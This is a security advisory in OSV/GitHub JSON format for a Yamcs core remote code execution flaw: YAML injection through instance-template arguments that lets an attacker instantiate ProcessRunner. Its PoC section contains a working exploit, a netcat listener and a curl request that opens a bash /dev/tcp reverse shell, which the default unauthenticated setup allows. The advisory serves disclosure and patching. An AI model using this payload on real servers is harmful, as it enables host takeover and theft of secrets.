CVE-2026-55559: Yamcs core Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-73mf-m39p-wpm9",
  "modified" : "2026-08-28T17:23:04Z",
  "published" : "2026-08-28T17:23:04Z",
  "aliases" : [ "CVE-2026-55559" ],
  "summary" : "Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)",
  "details" : "### Summary\n\n`templateArgs` sent to `POST /api/instances` (and `PATCH /api/instances/{instance}`) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each `services:` entry by its `class:`, so injecting YAML through a template arg lets you add a `services:` entry for `org.yamcs.ProcessRunner` and run a command on the host. The args aren't escaped for YAML or validated server-side.\n\nNeeds the `CreateInstances` privilege. With no `security.yaml` the `guest` user is `superuser=true` and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.\n\n### Details\n\n`VarStatement` appends arg values with no escaping:\n\n```java\n// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29\nbuf.append(value);\n```\n\nThe only filter, `EscapeFilter`, does HTML escaping (`& < > ' \"`) and leaves newlines, colons and indentation alone, so `{{ x | escape }}` doesn't help either. `InstancesApi.createInstance` forwards the args without checking them against the declared variables; the `choices` / `required` metadata is only used to render the web form.\n\nRequest to exec:\n`InstancesApi.createInstance` (`http/api/InstancesApi.java:169`, checks `CreateInstances`)\n→ `YamcsServer.createInstance` (`YamcsServer.java:651`, `template.process(templateArgs)`)\n→ rendered config loaded as `YConfiguration`\n→ `YamcsServerInstance` instantiates `services:` by `class:` (`YamcsServerInstance.java:75,88`, via `YObjectLoader`)\n→ `org.yamcs.ProcessRunner` runs `new ProcessBuilder(command).start()` (`ProcessRunner.java:81-82`).\n\n`createInstance` has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (`ServicesApi` only starts/stops existing ones), so the template arg is the only way in.\n\nA fix would be to validate `templateArgs` (reject newlines / control characters, enforce the declared `choices` / `required`) and/or escape substituted values for the YAML context.\n\n### PoC\n\nRun the shipped example: `./run-example.sh templates`. It serves `HttpServer` on 8090 with no `security.yaml`, so guest is superuser and the API is unauthenticated. Its `example` template puts `{{ spaceSystem }}` into `name: \"...\"`.\n\nListener:\n\n```\nnc -lvnp 4444\n```\n\nRequest (set `<LHOST>` / `<LPORT>` to the listener):\n\n```bash\ncurl -i -X POST http://<target>:8090/api/instances \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"name\": \"pwned\",\n    \"template\": \"example\",\n    \"templateArgs\": {\n      \"spaceSystem\": \"x\\\"\\nservices:\\n  - class: org.yamcs.ProcessRunner\\n    args:\\n      command: [\\\"bash\\\", \\\"-c\\\", \\\"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\\\"]\\n#\",\n      \"bar\": \"Option 2\"\n    }\n  }'\n```\n\nReturns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (`id` shows the service account). The arg closes the `name: \"...\"` quote, adds a top-level `services:` (which overrides the template's `services: []`, last key wins in SnakeYAML), and ends with `#` to comment out the trailing `\"`.\n\nWith `security.yaml` it's the same request with a bearer token. This works for a user whose only privilege is `CreateInstances`: that user gets 403 (`Missing system privilege 'ChangeMissionDatabase'`) on the algorithm-override path but 200 here.\n\n### Impact\n\nCommand execution as the Yamcs service account. That includes reading `secretKey` from `etc/yamcs.yaml` (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.\n\nIt needs `CreateInstances`, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without `security.yaml`, this is host takeover from the API.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.yamcs:yamcs-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.13.0"
      }, {
        "fixed" : "5.13.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.13.1"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.yamcs:yamcs-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.12.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.12.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/commit/549f295cf8c5496a5e799d6bec2432ef976c82aa"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/commit/7192da1c49bdf5ab1d72e579a47766a7c43e87c8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yamcs/yamcs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336", "CWE-470", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T17:23:04Z",
    "nvd_published_at" : null
  }
}